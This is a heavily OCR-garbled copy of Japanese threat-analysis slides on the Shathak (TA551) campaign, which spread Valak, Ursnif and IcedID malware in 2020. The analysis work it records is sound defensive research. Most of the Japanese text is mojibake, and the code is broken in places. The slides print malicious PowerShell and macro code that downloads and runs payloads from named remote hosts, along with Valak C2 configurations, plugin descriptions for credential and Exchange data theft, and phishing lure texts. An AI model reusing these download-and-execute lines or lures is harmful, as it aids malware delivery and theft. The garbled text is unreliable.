Shathak|ZE8 9 %
WEExX v o R— 2 DR

BH EF - BN R - AP HENLS - EBER AR - NER ESE




moEw/FHEE R

B FIKHER
NECY Y 2 — 3>/ R—EZKXSHt

% #H BF
" MRXEedY A NN—T 4 7 > AHFERT

PHE N7z T T YR B
TE T 5 A LRI lcedID &4 A =i
H+ iR WA RE
KAt EF2T77L A4 BRARIET v 7
SOCT7 S U X | NIV T 7Y REb
A2 7 Z3H Ursnif 234 lcedID f&#fT A7 Z54 SHREE
7 a9

FREEEEKRIASHT
ITCCERT A4 RX—tF2UFT 4B
Valak 94 A — Lo HT N




I C I

e 2020F10AK~11BICHAXRAITOHExX v o R—v A fTbNE L7
c HARNDODHHEZ B ST EHHN TTOMERED—ZL=AL £ L7

lcedIDDREE(IC DM BEARBITF v > R— > D0

it

Mal-Eats IcedID &

https://mal-eats.net/

SHBEIIN-TooExBLEYS. THEE A
SEERINOEDTY. FHH EHAS[.]




Re@ED I — )L

REIOWEx v o R— V(A D=0, TEORNRZIERET S
« WEX v R—VDEARKR
« X—ILPXNET 74 ILDEE
c BRINDZERAETILYT = 7 DR
- WEEDHB
«c MEOHARZE & KRR
- WEE/IL—TOEEN
« N F IOV ILTTTD ML Y ROZA




n;:.
ﬁﬂ S O~ W N e

R

W=

WE D 2R

A=)« XET7 74 ILDFEFH
Valak D458

Ursnif M 45578

lced|D D45

WEE 7L — 7 OREER

£ - y
. o
S B
g ~ A
-+ o/ fof-/
w iy
y G S '.’I
740 WS
e / e e
V. g
5 )




1.8 &



ShathakICEhET 2 WEDTHE

s X AT URVEPY Y —F v —TJ 07 TFrv o R=—VOIBEFRHIFAEEINTWS

Evolution of Valak, from Its Beginnings to Mass
Distribution

21,649 people reacted

VALAK: MORE THAN MEETS THE EYE _

By Brad Duncan
July 24, 2020 at 12:00 PM
Category: Unit 42

Tags: AutoFocus, Cortex, Cybercrime, malwar
MAY 28, 2020 fo, g Vriten b:
CYBEREASON NOCTURNUS

14 min read

MALWARE-TRAFFIC-ANAL

2020-09-10 - PCAP ONLY: TA551 (SHATHAK) SENDS ICEDID

ASSOCIATED FILES:

« 2020-09-10-TA551-I0Cs-for-lcedID.txt.zip 3.0 kB (3,039 bytes)
» 2020-09-10-TA551-sends-lcedID-infection-traffic.pcap.zip 4.9 ME (4,949,908 bytes)

NOTES:
« All zip archives on this site are password-protected with the standard password. If you don't know it, see the "about" page of this website.
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Received: -from- localhost.localdomain- (unknown-[127.0.0.18]) -
by (Postfix) with SMTP id
for < .jp>; Tue, - -3-Nov 2020 -06:56:21-+@960- (IST) -
Authentication-Results:

——— e XEE

dkim=pass header. d_com header.s=default;
dmarc=none

Received: from nsl. .com-{ns1. .com- [ .91)
by with ESMTPS id ©A2LuH1B@12©58
(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256 bits) verified NOT)
for < »>; Tue, -3-Nov- 20820 -06:56:19 -+0960
Received: from .net- ([ 25]:57468 helo=localhost)
by nsi. .com with esmtpsa (TLS1.2) tls TLS_ECDHE_RSA WITH_AES_128 GCM_SHA256
(Exim 4.93)
(envelope-from < ip>)

L
AL

=]

EETTA—ILT LR
A—=ITHT >k
B id. E—DXXF5

id

for Mon, -©2-Nov 2020 23:56:16 +026 _ N
: Date: Mon, 2 Nov 2020 21:55:13 +0000 FRENT-A—ILTFL X
'l To: .jp
:-' From: .ip

Subject: =?utf-8?B2UmU6IFIFOiDjgr/jgqQe440a440D4401440V440844075Lya565+44GU57S5 2=
=?utf-8?B?5LuL?=

Message-ID: -<86d7d238b@ba3cdaf85208cel97cfb8ec@l27.0.0.1>

X-Mailer: Microsoft CDO for Windows 2000

References: <044001d5bbed$lcf3dble$56dbo130%@ .jp>

In-Reply-To: <844001d5bbed$1cf3db10$56db9130%@ jp>

MIME-Version: 1.8

Content-Type: multipart/mixed; A _)I/ODEE1’:' IS S ;h"f“ vk

boundary="b1l_86d7d238b8ba3cdaf8528cel197cfb8@ac"
X-Get-Message-Sender-Via: nsl. .com:  authenticated_id: . com

| X-Authenticated-Sender: ns1, .com: _com
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1 mshta.exe% 4 —BHICT—%%
\ a—/U x— LA LR R YUAZESRLT
= L AR /G a
&
3 =47 (WSH=E1T)
YET AL =T % TEMP%¥in.com
HKEY CURRENT_USER¥¥Software¥¥mysoftwarel¥¥keyl
(FEHAH)
http://.../ahtap16 IcedID Installer
IBAIRT — 2 % \ \
2 ROTENE% y 5 &y p— R 6 rundll32.exe T %TEMP%¥temp.tmp
% TEMP%¥in.htm| %TEMP%¥temp.tmp =47

htm! (2 Zita
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W
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Invoke-DOSfuscation. PowerShell i1

2019428 ~20194 88
WSH. rundll32.exe. Invoke-Obfuscation x1 D&
EmotetdXZE 7 7 A JLIZFELL x2

2019588 ~HE

LOLBAS®D % FH 1,2
wmic.exe, regsvr32.exe. rundll32.exe. WSH.
cmd.exe. bitsadmin.exe. certutil.exeZs &
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s XNET77A4ILDOBENEZ—IF, 2020F108 1 o EHLL T3

RS A | HTTPY 2 T2 F OF

98 |[IGET /VRE/kotner.php?l=solal.pas
1

20184

118 [GET /QIC/tewokl.php?l=vunxl.spr

2B [ GET /iwp01-2ksm/20918201.php?l=jsrxml.sap

GET /koorsh/soogar.php?l=weecumb5.cab

GET /xemcl/iba.php?l=untl.cab

GET /TzjjNphW_ighAegfQcltABSqdiNhdfprIBGPp/hnINlyBhBigidYjnCRAogXjX/iuyalal3

GET /viewpost/_1FZFuY4dK1Bd3cLrNwcqF1PkbFplLKGwWGINjg3 9hqglhy3NSAMwQWVKgyPhWzWnwpVQ5QANS8/ff
slaeyb?GUz=gJsXXYgYXI&AU=AKIQMf_CEuqrHaqiF&DYt=WnXpRUOcdklIP&Fb=pXDKCvWmCptWcCnRc
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USDIP7 KL X A& &) YT-1Bi5

s EubmGkUO bR HTTP#1 1

Client

User-Agent: Mozila npatible; MSIE 7.0

MSIE 7.0; Win Transport

Apache/2

2 THAEyvyA—-FEIhiw

wered-By:

File Transfer
attachment; Tilename=

ntrol: must-revalidate
Pragm public
tent-Length: 517
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Valak & [

« 2019F 108 BIZRBEIN/-EY 2 —ILAOBEREERYILY 7 - A—X

. I\ 0w % (Valak DLL) . 2E&ME D JavaScript 7 7 4 /L (Valak JS 1st/2nd) .
Z 74>~ (Valak Plugm) . 7704 vETT7 74 (Valak PIugmHost) THEREIND

2O O FHAEEINTWES (Ver3|on 42H—I,m)
« TASK -+ XA B— KD R4 BHIEST
« PLUGIN - 72704 vDx7Aa— F&ET

7554v% | B
systeminfo O—AHILEBEL FXA VEBEDBRZINET 5,
exchgrabber BIRIEH P K X A VEFBAZE A £ Microsoft Exchange X — LS X5 LA HIERIE®R % INE L THET 5,
clientgrabber LY Z M UDLBFA—ILOERBERE GG %,
ipgeo HIRIER R T S

procinfo BRELIY Y OEITH7OLXERZNET 5,
netrecon v b=V ERETEITT 5,
screencap BEF¥y 7 F vy 25T %,
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Valak DLL
F Ay 7&ET

O« B

42555 el
(Valak JS 2nd) =17
gzyﬂﬁ Vala
D~ ILTy I
~AT® 2 S

o2y T Valak PluginHost
X1 X2

X2 757ﬁ’ﬁ 7 7 AE L TRESNE L,

GET /idq9p9t142vyk.php?l=frraw2.cab

Valak DLL % B8

GET /license.jsp?client=...

Valak JS 2nd Valak PluginHost

GET /archive.jsp?page=...

Command Payload

GET /db.aspx?dfc=<PluginID>&VDImon=64

Valak Plugin & Ex4&

1 vy TFlde K& T—42X K1Y —L (ADS : Alternate Data Stream) & L TREE N5,

HTTP(s)) 7 =X +
HTTP(s)L X7 R > X

oI

Valak DLL#A*
ffEXNT-
H—n




Valak® % €15 #H

JavaScriptd— FRICEREBBEHIFIET D
BELICIE, ERORNXA >V (Fa4) IEREEND
Valak JS 1st

« PRIMARY C2 1 var pmvCcTgDsFWzkpBwWARD = {
SISOED SlG_ 2 BEAIVCExGUjr_Y : ["http://pixel.buzzfeed.com’, "http://event-reporting-dot-webylytics.appspot.com’, "http://evs-hosted-14facd241e1cB8.53.amazonaws.com’,
— 3 "http://ap359.com’, "http://foe318.com”, "http://s0dp399.com’, "http://dhs331.com’, "http://xow3e1l.com'],
« SOFT_VERSION 4 UybDg_dfy0 vNVMRR_ : 'jowls’,
- C2_REQUEST_SLEEP 5| nkaazsCr: si,
Py : 21,
SRS R[S SIEEER 7 eOVF_uacCFatXzts : 21,
« C2 FAIL COUNT 8 ZRTYbvIjYvC : 20,
* 02 0B KEY 10 | Foukardguyl © clicksp
qFdguXyl : "click.jsp
. C2_PREFIX n

Valak JS 2nd

« COMMAND C2 var IjWwakbbCZdTwvDgsmEem = {
— TVdhVukKtdWq : ["http://pixel.buzzfeed.com’, "http://event-reporting-dot-webylytics.appspot.com’, "http://evs-hosted-14facd241e1cB8.53.amazonaws.com”,
7 SOFT_SIG "http://ap359.com’, "http://foe318.com’, "http://s0dp399.com’, "http://dhs331.com’, "http://xow3Bl.com"],

1
2
E

« CLIENT_ID a S1rXUWodWn_DRK : 'jowis',
5
6
7
8

4 g PfscQbmaH : "1ESF17ABBEAS12D43B236C82D129F514 ",
:'. 8§—EE\S—U§E£—EI§LEEP PmobRqC_elNTDkbprmfr : 2@,

{ fpmZzkaSUXKviW_xusp : 1,
-« C2_FAIL_COUNT PFIPUGPVVke : 3,

g o5 Kex s
- SOFT_VERSION .

o CZ_COMMAND_PREFD( 12 MyVAJiIoOQE_ : "banner.jsp’
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« 2019F12A A 2020F 128 (AT T/X—2 3 »HB0E < 77

« Ty 7T —MIHEWL, BEELITIL L., BRtIEATWS

« NaiveHash®E A

v Tr—hkEINTWES

« OAX Y FEZDOEE
o TITAVOERITHAEEE

(MD5/~ v & 2 OFA %= IE) (PowerShell 2 TE1T)

EL A

12

V.6
V.22 y 23
V.24
V.30 V.32
K]
v.41 V.42

V.51
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NG
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Ursnifd B
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2L

GET /analytics/Dm5WhW8z60RTnmHCPa5ZTrPYh7q37TmyEG

Ursnif 2 X5

GET

/images/brNDyeHFV7¢c)J7V2gTG1lcM/ 2BIWMqgcRcU9Smpu/WcQ43TxCor
dill4/jzGdg5214pVXseaMCF/2BCQolHNR/abRYiORFgqXsZZuSv30ON9/3au7
PoolezZkDugQWIP/GCKDYEchiKYFj_2B_2BTg3/26ReTyNuCVIPC/wb5f.avi

BEs5%
vsydu=clcogbg&soft=3&version=250154&user=29fa08d9dc11b4
460d08c77abbcff177&server=12&id=3815&crc=1&uptime=228

HTTP(s)) 7 =X +
HTTP(s)L X7 R > X

oI
CIm
- —

~AO—F#
BESn7
H—/

31




Ursnif O 3% EIFE D 08T

g
68118
11A23H

10291029JSJUYNHG
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214999
217024

2A1H
AR2H
5H9H
6H6H
7TH24H
8HA5H
9H25H
11736H
12A19H
12A25H

10291029JSJUYNHG
10291029JSJUYNHG
10291029JSJUYNHG
10291029JSJUYNHG
10291029JSJUYNHG
10291029JSJUYNHG
10291029JSJUYNHG
10291029JSJUYNHG
10291029JSJUYNHG
10291029JSJUYNHG

214062
214071
217173
214082
214082
214082
214085
214098
217111
217111

1R21H
2R4H
3A3H
3A10H
3A13H
3A25H
7TH9H
12748

10291029JSJUYNHG
10291029JSJUYNHG
Gu9foUnsY506KSJ1
Gu9foUnsY506KSJ1
s4ScImDb35Ayj800
10291029JSJUYNHG
10291029JSJUYNHG
10291029JSJUYNHG

217111
214112
217107
217107
217107
214131
250154
250162
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« 201989 D BIERTH/ T 74 —%ERT S [16]
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lced| DD R 7

p
regsvr32.exe

rundll32.exe
LhE¥n7atR
(EXERRDIZEIZIELB)

XEZ7741L

— OR —

Valak JS 2nd

.

J

IcedID Installer
(EXE/DLL)

'S &ET

-

IcedID
Downloader/Loader
(EXE/DLL)

E5&EIT

.

IcedID Core
(Shellcode)

GET /analytics/Dm5WhW8z60RTnmHCPa5ZTrPYh7q37TmyEG ...

IcedID Installer% Ex/&

GET /background.png

Ay

IcedID Downloader/Loader%* Ex15
(RTFH/TF74—)

GET /image/?id=01D58E41094F4484B20000000000FF00000000

A

IcedID Core % EV{5
RTFH/TF74—)

GET /audio/?z=<Base64 >

C2&fE

KL B LR B — FERAPCETT 7 A L E LTIRE AN,

HTTP(s)) 7 =X +
HTTP(s)L X7 R > X

oI
CIm
- —

RA4A—FH
BEEI N7
H—n

oI

IcedID®D
RA4AA—FH

BREshfHY—n

XN
XN
~ CX

IcedID
C2Hy—n
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1>z bEaND

cC @ D view-source:ttps:// [ -/ I -

{script type-
src="h
{script type=
src="https:/, : p/00 /script>

L 1 Jiige)

{script type=
src="h e {/script>

{script type=
"http >/script>
{script type=

et/ - gy Yy b ENERERI~F

{script type="t
h[]ﬁﬁi& -—— -

ction
return new KBASfwribdScrnDaolmel ("swkbd™,’017,°02°,°017,°00° ,true, true,” 1 XFEZ U7’ ToY)7 false, "ROIEEAN,"HIOIEEN', 'sc
1

0y 4 YEE Web75 74

var model = r

c reafeonftwdrel»\evboa rd(mode!)
} Hvar f,I=t tio (s eturn voic ¥ ction aa( L fa; ect"==b)if(a){if(a instanceo
$(initial izeSof twareKeyboardswkbd) ;
VZany

{/script>

{script type=
src='h
{script type=

(1=
Y/ $(function() {
’ $Tfentrld”) . focusO;

0 794 ‘/Eﬁ (‘/_x 11— F\) ﬂET "3(1:7‘)("”‘) — ..MTES:_

:"script”, : B HREF™:

Tt ABFICHELET 32WebSocketi#E(E

36
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2976  WINWORD.EXE /n“C:Users\admin\AppData\Local\Temp\Request].doc”
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A=kl
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$Y1 40557«("'vO _3'4°9%4"1"); v = [ $V 447 =('L6°+'0"'4'6_6"); = 1] 2
$A 5SS O5-new-object Net.WebClient: BIEFE DI $r__796__=new-object Net.WebClient; e e

¥ «(‘h'#+°ttp:// "+ d74yhv'+ ickie.b'+ and/xn1025p "+ 102k/ "+ 'm'+"1°4°@ 4" p'+'s": :
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$F47 82 (“*w) i4'ads/ +'XISSL '+ fa'+ ' NGhttp '+ 1 //162.'+°24 ' +°3.25"+"4.239/A" +"ddon/FLI7 "+ t6s]1").Split('@");
- 03 ¢+ € H o LT Faacaty.
$mB8462 02+('v9'+' 764 4" 7Z7AINRR P Ll I )
= 2 $L014 010 = ('5'+'27');

7 7AIVINR

: : ; B -5 A GO O - - S
/ foreach($b6229220 in $315 8  ){ \srsz_a_-wnv:userprofllet
1/ o try{ Foresch($ted 84 in-$P- 52055 {
7/ A7U7+ $A_55_05.DownloadFile($b6229220, $i 89 1); try{
f $r68 753 =('u 9°4°859 '); $r__796__.DownloadFile($L04 © 4, $782 4 );
| e ; 3 $W_8_ 2«('n22_'+'719°);
/ ”lf\\(/::-::: ::—:_:?J“‘a"’ e e If ((Get-Item $782 4 ).length -ge 400€0) {
SV el I~ — Invoke-Item $782 4 ;
$p7635 7=("c1°+'09 "4'44"); WO 427(529°4'11 ");
break; break;
} }
Jcateh{} N . }eatch{} o o
}$02__739«('C'+°2.82_°); 77ANME A= FLV—F> }$0107___ =('n_'+'_5.28°+'7°); Z77ANVZyA—FIL—FV
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Funct ion dsfwecfasdfwafsdaf ()
Dim cewrtredf (10) As String
Dim bz Inteser .
= Right (Left ("jfsk|fhshsdf023ikiffkifkjisfj23”, 13), 1)
gewrt redf (17 = "$+0CH+0: +0¥S+OWED 1 $+OnE+Dd+00b+Dnd+DsF+0¥ $+053+ Dy $+0s3+D
WE+D0EDWS+DEDEF+D4S+D¥E+DNED $+0nS+0dE+ Do+ Dn$+DsE+IPE+ Do+ DnE+DE+De b+ D i+ DS
$+Dh$+Ded+01 $+D | $+0E+0%5+DvG+D1 $+D. $+00$+0%5+Dp3+DE+Dowd+De$+0 r$+DE+Dsb+Dh$+Ded
+D|$+D|$+D $+De$+Dx$+De$+D FH0-F+DHE+D | $H0nF+DSHD0EDwd+DES+01 $+0wE+D | $+0e”
df (2) = "$+D $+0H$+D1 $+Ddb+Dd+Ded+Ond+D $+D-$+0ct+Dod+On$+DnE+Daf+D
n$+Dd$+D $+D&$+D{$+D[$+Ds$+Dt$+Dr$+D|$+Dn$+Dg$+D]$$+Da$+
df £3) = "=§+D{$+D($+DN+Deb+Dud+D-$+D03+0b$+Dj $+Def+Deb+Dt $+D $+ONE+
De$+Dt$+D $+DW$+De$+Db$+DC$+DI$+D|$+De$+Dn$+Dt$+ 18+0.
qenrtredf (4) = “$+DD§+Do$+0($+D" h§+Dt $+Dt $+0pF+0: $+0/$+D/$+De$+Dod+D1 $+0dg+
Db$+D|$+Dn$+D $+Dn$+Dyd+Dad+D ri+Dt $+Ds$+Dod+Ong+D1 ~
aenrt red f(5) = "$401 EH0nF+0ed+D . $+0cE Do+ Dn+0/ 30 | $+0e40/ 5+ 0w $+0. S0t i+

Dx$+Dt $+D)
df (6) = "$+D1$+0; $+088+DbF+0=$+D38+Dad+D. $+01 $+0n$+Dsb+Ded+DrE+Dt $+0

($+D2$+D9$+D $+07 S+ D+ DD | 3+ 003+ Dad-Daf+ D55+t $+07

genrtredf (7) = "r3+Di $+On$+0ed+D’ $+003+D; $+035+0cF+D=3+0i $+Deb+Dx+0 $+03$+
Ob$+0; 3401 $+0ed+0xd+D $+035+03+01 7

i flrflk = gewrt redf .

wrewsdfdsfzad = Joinliefkdfknfk, ™

wremsdfdsfsad = Replace(wrewsdfdsfsad, "$+D7, 77)

auersdf joi = wrewsdf dsfsad )
End Function

C:\Windows\SyswOWe4\WindowsPowerShell\vl.@\powershell.exe -WindowStyle Hidden -command &{
[string]$a~{
(New-Object Net.WebClient).Do( http://goldbin.myartsonline.com/le/yj.txt"})
b
$b=%a.insert(29, 'wnloadString");
$c=iex $b;
iex $c
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e in der vorherigen Version von “Microsoft Offic

WEEH 1

Agenzia Entrate <info@agenziaentrateinformazioni.icu>

A5 ax¥ B o7l 3 i i i o -I - + + w00

: [https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-
distribute-malware-german-italian-and-us] & Y 5|F

3 CENTER
The following i the moified Empioyee Request Form foreave under the FMLA Famly and Medical Leave Act (FMLA)
COVID-19 CENT tecspace> $2

@

9 U.S. DEPARTMENT OF LABOR

Dear employees, The following notice is written to all suitable workers in order to notify of a nun|
that have been constructed in the current FMLA with regards to the latest Coronavirus Response|
inform you of certain modific which were made in the performance of t
workers will study and accurately comprehend these modifications. Al these essential correction:
inside the enclosure along with Family and Medical Leave of Act Employee Request Form for lea
that will be effective may. , 2020. To ask for leave based on the Family and Medical Leave of
analyze the files very carefully, get informed about the adjustments that have been created, fill d
and send to Human Resources until may. 30st, 2020.
The above is an automatic alert, pleasedon't reply directly to this e-mail
Best Regards,

Department of Labor
Wage and Hour Division

Your copy is sctivmed!
This docsment was created in sarlier version of Micrasofl office Werd
To view full coules & new opportusties, please ik "Euable EdSting”
from the yellrw bar and then click “Eaable Couens®.

Jbs FMLAINSTRUCTI

WEEH 3

ouch <order@mynetpharma.s>

Your order GAI34OHBIBS is accepted
We are glad you've chosen MyNet Pharma to fulfill your needs
We have completed your order which goes by No. GI2423FOY25

Your package is expected to arrive in 5 weekdays.
We have shipped the items you ordered through contract #9139382 by third-class maj 1
All our goods is packed tightly and shipped airfreight to ensure the best possible final

This document is prateeted

If there is any problem with your order, please let us know about it.

Regards, 2.1 this document was downloaded from your email.

Aiysha Couch R L errp————
Enabie Cantent from the yellow bar abve

A = May_11xs

PROTECTED DOCUMENT

A7 — M & xIsH
mfEnhTuna
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